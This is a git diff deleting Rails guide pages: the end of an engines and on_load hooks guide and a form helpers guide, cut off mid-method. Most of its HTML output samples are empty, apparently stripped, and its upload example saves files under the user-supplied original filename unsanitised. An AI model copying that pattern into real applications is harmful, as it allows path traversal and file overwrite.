-<% end %> -``` - -### Routes - -Routes inside an engine are isolated from the application by default. This is -done by the `isolate_namespace` call inside the `Engine` class. This essentially -means that the application and its engines can have identically named routes and -they will not clash. - -Routes inside an engine are drawn on the `Engine` class within -`config/routes.rb`, like this: - -```ruby -Blorgh::Engine.routes.draw do - resources :articles -end -``` - -By having isolated routes such as this, if you wish to link to an area of an -engine from within an application, you will need to use the engine's routing -proxy method. Calls to normal routing methods such as `articles_path` may end up -going to undesired locations if both the application and the engine have such a -helper defined. - -For instance, the following example would go to the application's `articles_path` -if that template was rendered from the application, or the engine's `articles_path` -if it was rendered from the engine: - -```erb -<%= link_to "Blog articles", articles_path %> -``` - -To make this route always use the engine's `articles_path` routing helper method, -we must call the method on the routing proxy method that shares the same name as -the engine. - -```erb -<%= link_to "Blog articles", blorgh.articles_path %> -``` - -If you wish to reference the application inside the engine in a similar way, use -the `main_app` helper: - -```erb -<%= link_to "Home", main_app.root_path %> -``` - -If you were to use this inside an engine, it would **always** go to the -application's root. If you were to leave off the `main_app` "routing proxy" -method call, it could potentially go to the engine's or application's root, -depending on where it was called from. - -If a template rendered from within an engine attempts to use one of the -application's routing helper methods, it may result in an undefined method call. -If you encounter such an issue, ensure that you're not attempting to call the -application's routing methods without the `main_app` prefix from within the -engine. - -### Assets - -Assets within an engine work in an identical way to a full application. Because -the engine class inherits from `Rails::Engine`, the application will know to -look up assets in the engine's 'app/assets' and 'lib/assets' directories. - -Like all of the other components of an engine, the assets should be namespaced. -This means that if you have an asset called `style.css`, it should be placed at -`app/assets/stylesheets/[engine name]/style.css`, rather than -`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a -possibility that the host application could have an asset named identically, in -which case the application's asset would take precedence and the engine's one -would be ignored. - -Imagine that you did have an asset located at -`app/assets/stylesheets/blorgh/style.css` To include this asset inside an -application, just use `stylesheet_link_tag` and reference the asset as if it -were inside the engine: - -```erb -<%= stylesheet_link_tag "blorgh/style.css" %> -``` - -You can also specify these assets as dependencies of other assets using Asset -Pipeline require statements in processed files: - -``` -/* - *= require blorgh/style -*/ -``` - -INFO. Remember that in order to use languages like Sass or CoffeeScript, you -should add the relevant library to your engine's `.gemspec`. - -### Separate Assets & Precompiling - -There are some situations where your engine's assets are not required by the -host application. For example, say that you've created an admin functionality -that only exists for your engine. In this case, the host application doesn't -need to require `admin.css` or `admin.js`. Only the gem's admin layout needs -these assets. It doesn't make sense for the host app to include -`"blorgh/admin.css"` in its stylesheets. In this situation, you should -explicitly define these assets for precompilation. This tells sprockets to add -your engine assets when `bin/rails assets:precompile` is triggered. - -You can define assets for precompilation in `engine.rb`: - -```ruby -initializer "blorgh.assets.precompile" do |app| - app.config.assets.precompile += %w( admin.js admin.css ) -end -``` - -For more information, read the [Asset Pipeline guide](asset_pipeline.html). - -### Other Gem Dependencies - -Gem dependencies inside an engine should be specified inside the `.gemspec` file -at the root of the engine. The reason is that the engine may be installed as a -gem. If dependencies were to be specified inside the `Gemfile`, these would not -be recognized by a traditional gem install and so they would not be installed, -causing the engine to malfunction. - -To specify a dependency that should be installed with the engine during a -traditional `gem install`, specify it inside the `Gem::Specification` block -inside the `.gemspec` file in the engine: - -```ruby -s.add_dependency "moo" -``` - -To specify a dependency that should only be installed as a development -dependency of the application, specify it like this: - -```ruby -s.add_development_dependency "moo" -``` - -Both kinds of dependencies will be installed when `bundle install` is run inside -of the application. The development dependencies for the gem will only be used -when the tests for the engine are running. - -Note that if you want to immediately require dependencies when the engine is -required, you should require them before the engine's initialization. For -example: - -```ruby -require 'other_engine/engine' -require 'yet_another_engine/engine' - -module MyEngine - class Engine < ::Rails::Engine - end -end -``` - -Active Support On Load Hooks ----------------------------- - -Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal utilities. - -Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as `ActiveRecord::Base`, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as `ActiveRecord::Base` on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application. - -On Load hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts. - -## What are `on_load` hooks? - -Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance: - -```ruby -ActiveRecord::Base.include(MyActiveRecordHelper) -``` - -This snippet means that when this file is loaded, it will encounter `ActiveRecord::Base`. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot. - -`ActiveSupport.on_load` is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to: - -```ruby -ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } -``` - -This new snippet will only include `MyActiveRecordHelper` when `ActiveRecord::Base` is loaded. - -## How does it work? - -In the Rails framework these hooks are called when a specific library is loaded. For example, when `ActionController::Base` is loaded, the `:action_controller_base` hook is called. This means that all `ActiveSupport.on_load` calls with `:action_controller_base` hooks will be called in the context of `ActionController::Base` (that means `self` will be an `ActionController::Base`). - -## Modifying code to use `on_load` hooks - -Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as `ActiveRecord::Base` you can wrap that code in an `on_load` hook. - -### Example 1 - -```ruby -ActiveRecord::Base.include(MyActiveRecordHelper) -``` - -becomes - -```ruby -ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } # self refers to ActiveRecord::Base here, so we can simply #include -``` - -### Example 2 - -```ruby -ActionController::Base.prepend(MyActionControllerHelper) -``` - -becomes - -```ruby -ActiveSupport.on_load(:action_controller_base) { prepend MyActionControllerHelper } # self refers to ActionController::Base here, so we can simply #prepend -``` - -### Example 3 - -```ruby -ActiveRecord::Base.include_root_in_json = true -``` - -becomes - -```ruby -ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # self refers to ActiveRecord::Base here -``` - -## Available Hooks - -These are the hooks you can use in your own code. - -To hook into the initialization process of one of the following classes use the available hook. - -| Class | Available Hooks | -| --------------------------------- | ------------------------------------ | -| `ActionCable` | `action_cable` | -| `ActionController::API` | `action_controller_api` | -| `ActionController::API` | `action_controller` | -| `ActionController::Base` | `action_controller_base` | -| `ActionController::Base` | `action_controller` | -| `ActionController::TestCase` | `action_controller_test_case` | -| `ActionDispatch::IntegrationTest` | `action_dispatch_integration_test` | -| `ActionMailer::Base` | `action_mailer` | -| `ActionMailer::TestCase` | `action_mailer_test_case` | -| `ActionView::Base` | `action_view` | -| `ActionView::TestCase` | `action_view_test_case` | -| `ActiveJob::Base` | `active_job` | -| `ActiveJob::TestCase` | `active_job_test_case` | -| `ActiveRecord::Base` | `active_record` | -| `ActiveSupport::TestCase` | `active_support_test_case` | -| `i18n` | `i18n` | - -## Configuration hooks - -These are the available configuration hooks. They do not hook into any particular framework, instead they run in context of the entire application. - -| Hook | Use Case | -| ---------------------- | ------------------------------------------------------------------------------------- | -| `before_configuration` | First configurable block to run. Called before any initializers are run. | -| `before_initialize` | Second configurable block to run. Called before frameworks initialize. | -| `before_eager_load` | Third configurable block to run. Does not run if `config.cache_classes` set to false. | -| `after_initialize` | Last configurable block to run. Called after frameworks initialize. | - -### Example - -`config.before_configuration { puts 'I am called before any initializers' }` diff --git a/source/form_helpers.md b/source/form_helpers.md deleted file mode 100644 index ba6e158..0000000 --- a/source/form_helpers.md +++ /dev/null @@ -1,1023 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Form Helpers -============ - -Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use. - -After reading this guide, you will know: - -* How to create search forms and similar kind of generic forms not representing any specific model in your application. -* How to make model-centric forms for creating and editing specific database records. -* How to generate select boxes from multiple types of data. -* What date and time helpers Rails provides. -* What makes a file upload form different. -* How to post forms to external resources and specify setting an `authenticity_token`. -* How to build complex forms. - --------------------------------------------------------------------------------- - -NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference. - -Dealing with Basic Forms ------------------------- - -The most basic form helper is `form_tag`. - -```erb -<%= form_tag do %> - Form contents -<% end %> -``` - -When called without arguments like this, it creates a `
` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability): - -```html - - - - Form contents -
-``` - -You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element with the name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their action is "GET" or "POST". - -The second input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf). - -### A Generic Search Form - -One of the most basic forms you see on the web is a search form. This form contains: - -* a form element with "GET" method, -* a label for the input, -* a text input element, and -* a submit element. - -To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this: - -```erb -<%= form_tag("/search", method: "get") do %> - <%= label_tag(:q, "Search for:") %> - <%= text_field_tag(:q) %> - <%= submit_tag("Search") %> -<% end %> -``` - -This will generate the following HTML: - -```html -
- - - - -
-``` - -TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. - -Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML. - -IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. - -### Multiple Hashes in Form Helper Calls - -The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. - -As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this: - -```ruby -form_tag(controller: "people", action: "search", method: "get", class: "nifty_form") -# => '
' -``` - -Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect: - -```ruby -form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form") -# => '' -``` - -### Helpers for Generating Form Elements - -Rails provides a series of helpers for generating form elements such as -checkboxes, text fields, and radio buttons. These basic helpers, with names -ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a -single `` element. The first parameter to these is always the name of the -input. When the form is submitted, the name will be passed along with the form -data, and will make its way to the `params` in the controller with the -value entered by the user for that field. For example, if the form contains -`<%= text_field_tag(:query) %>`, then you would be able to get the value of this -field in the controller with `params[:query]`. - -When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). - -#### Checkboxes - -Checkboxes are form controls that give the user a set of options they can enable or disable: - -```erb -<%= check_box_tag(:pet_dog) %> -<%= label_tag(:pet_dog, "I own a dog") %> -<%= check_box_tag(:pet_cat) %> -<%= label_tag(:pet_cat, "I own a cat") %> -``` - -This generates the following: - -```html - - - - -``` - -The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked. - -#### Radio Buttons - -Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one): - -```erb -<%= radio_button_tag(:age, "child") %> -<%= label_tag(:age_child, "I am younger than 21") %> -<%= radio_button_tag(:age, "adult") %> -<%= label_tag(:age_adult, "I'm over 21") %> -``` - -Output: - -```html - - - - -``` - -As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`. - -NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and, -by expanding the clickable region, -make it easier for users to click the inputs. - -### Other Helpers of Interest - -Other form controls worth mentioning are textareas, password fields, -hidden fields, search fields, telephone fields, date fields, time fields, -color fields, datetime-local fields, month fields, week fields, -URL fields, email fields, number fields and range fields: - -```erb -<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> -<%= password_field_tag(:password) %> -<%= hidden_field_tag(:parent_id, "5") %> -<%= search_field(:user, :name) %> -<%= telephone_field(:user, :phone) %> -<%= date_field(:user, :born_on) %> -<%= datetime_local_field(:user, :graduation_day) %> -<%= month_field(:user, :birthday_month) %> -<%= week_field(:user, :birthday_week) %> -<%= url_field(:user, :homepage) %> -<%= email_field(:user, :address) %> -<%= color_field(:user, :favorite_color) %> -<%= time_field(:task, :started_at) %> -<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> -<%= range_field(:product, :discount, in: 1..100) %> -``` - -Output: - -```html - - - - - - - - - - - - - - - -``` - -Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. - -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, -month, week, URL, email, number and range inputs are HTML5 controls. -If you require your app to have a consistent experience in older browsers, -you will need an HTML5 polyfill (provided by CSS and/or JavaScript). -There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a popular tool at the moment is -[Modernizr](https://modernizr.com/), which provides a simple way to add functionality based on the presence of -detected HTML5 features. - -TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). - -Dealing with Model Objects --------------------------- - -### Model Object Helpers - -A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`. - -For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing: - -```erb -<%= text_field(:person, :name) %> -``` - -will produce output similar to - -```erb - -``` - -Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy. - -WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. - -Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](active_record_validations.html#displaying-validation-errors-in-views) guide. - -### Binding a Form to an Object - -While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does. - -Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`: - -```ruby -def new - @article = Article.new -end -``` - -The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this: - -```erb -<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %> - <%= f.text_field :title %> - <%= f.text_area :body, size: "60x12" %> - <%= f.submit "Create" %> -<% end %> -``` - -There are a few things to note here: - -* `@article` is the actual object being edited. -* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. -* The `form_for` method yields a **form builder** object (the `f` variable). -* Methods to create form controls are called **on** the form builder object `f`. - -The resulting HTML is: - -```html - - - - -
-``` - -The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the [parameter_names section](#understanding-parameter-naming-conventions). - -The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. - -You can create a similar binding without actually creating `
` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so: - -```erb -<%= form_for @person, url: {action: "create"} do |person_form| %> - <%= person_form.text_field :name %> - <%= fields_for @person.contact_detail do |contact_detail_form| %> - <%= contact_detail_form.text_field :phone_number %> - <% end %> -<% end %> -``` - -which produces the following output: - -```html - - - -
-``` - -The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally). - -### Relying on Record Identification - -The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**: - -```ruby -resources :articles -``` - -TIP: Declaring a resource has a number of side effects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources. - -When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest: - -```ruby -## Creating a new article -# long-style: -form_for(@article, url: articles_path) -# same thing, short-style (record identification gets used): -form_for(@article) - -## Editing an existing article -# long-style: -form_for(@article, url: article_path(@article), html: {method: "patch"}) -# short-style: -form_for(@article) -``` - -Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object. - -Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide. - -WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly. - -#### Dealing with Namespaces - -If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then - -```ruby -form_for [:admin, @article] -``` - -will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: - -```ruby -form_for [:admin, :management, @article] -``` - -For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html). - -### How do forms with PATCH, PUT, or DELETE methods work? - -The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. - -Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method: - -```ruby -form_tag(search_path, method: "patch") -``` - -output: - -```html -
- - - - ... -
-``` - -When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example). - -Making Select Boxes with Ease ------------------------------ - -Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. - -Here is what the markup might look like: - -```html - -``` - -Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. - -### The Select and Option Tags - -The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string: - -```erb -<%= select_tag(:city_id, '...') %> -``` - -This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper: - -```html+erb -<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %> - -output: - - - -... -``` - -The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. - -Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: - -```erb -<%= select_tag(:city_id, options_for_select(...)) %> -``` - -`options_for_select` allows you to pre-select an option by passing its value. - -```html+erb -<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %> - -output: - - - -... -``` - -Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. - -WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. - -You can add arbitrary attributes to the options using hashes: - -```html+erb -<%= options_for_select( - [ - ['Lisbon', 1, { 'data-size' => '2.8 million' }], - ['Madrid', 2, { 'data-size' => '3.2 million' }] - ], 2 -) %> - -output: - - - -... -``` - -### Select Boxes for Dealing with Models - -In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`: - -```ruby -# controller: -@person = Person.new(city_id: 2) -``` - -```erb -# view: -<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> -``` - -Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute. - -As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be: - -```erb -# select on a form builder -<%= f.select(:city_id, ...) %> -``` - -You can also pass a block to `select` helper: - -```erb -<%= f.select(:city_id) do %> - <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%> - <%= content_tag(:option, c.first, value: c.last) %> - <% end %> -<% end %> -``` - -WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. - -### Option Tags from a Collection of Arbitrary Objects - -Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: - -```erb -<% cities_array = City.all.map { |city| [city.name, city.id] } %> -<%= options_for_select(cities_array) %> -``` - -This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively: - -```erb -<%= options_from_collection_for_select(City.all, :id, :name) %> -``` - -As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`. - -```erb -<%= collection_select(:person, :city_id, City.all, :id, :name) %> -``` - -As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be: - -```erb -<%= f.collection_select(:city_id, City.all, :id, :name) %> -``` - -To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`. - -NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method. - -### Time Zone and Country Select - -To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this: - -```erb -<%= time_zone_select(:person, :time_zone) %> -``` - -There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#method-i-time_zone_options_for_select) to learn about the possible arguments for these two methods. - -Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails). - -Using Date and Time Form Helpers --------------------------------- - -You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects: - -* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time. -* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers. - -Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). - -### Barebones Helpers - -The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example: - -```erb -<%= select_date Date.today, prefix: :start_date %> -``` - -outputs (with actual option values omitted for brevity) - -```html - - - -``` - -The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example: - -```ruby -Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) -``` - -The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`. - -### Model Object Helpers - -`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute. -The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: - -```erb -<%= date_select :person, :birth_date %> -``` - -outputs (with actual option values omitted for brevity) - -```html - - - -``` - -which results in a `params` hash like - -```ruby -{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} -``` - -When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. - -### Common Options - -Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). - -As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date. - -NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week. - -### Individual Components - -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. - -The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example: - -```erb -<%= select_year(2009) %> -<%= select_year(Time.now) %> -``` - -will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`. - -Uploading Files ---------------- - -A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example. - -The following two forms both upload a file. - -```erb -<%= form_tag({action: :upload}, multipart: true) do %> - <%= file_field_tag 'picture' %> -<% end %> - -<%= form_for @person do |f| %> - <%= f.file_field :picture %> -<% end %> -``` - -Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`. - -### What Gets Uploaded - -The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example). - -```ruby -def upload - uploaded_io = params[:person][:picture] - File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file| - file.write(uploaded_io.read) - end -end -``` - -Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip). - -NOTE: If the user has not selected a file the corresponding parameter will be an empty string. - -### Dealing with Ajax - -Unlike other forms, making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. - -Customizing Form Builders -------------------------- - -As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example: - -```erb -<%= form_for @person do |f| %> - <%= text_field_with_label f, :first_name %> -<% end %> -``` - -can be replaced with - -```erb -<%= form_for @person, builder: LabellingFormBuilder do |f| %> - <%= f.text_field :first_name %> -<% end %> -``` - -by defining a `LabellingFormBuilder` class similar to the following: - -```ruby -class LabellingFormBuilder < ActionView::Helpers::FormBuilder - def text_field(attribute, options={}) - label(attribute) + super - end -end -``` - -If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option: - -```ruby -def labeled_form_for(record, options = {}, &block) - 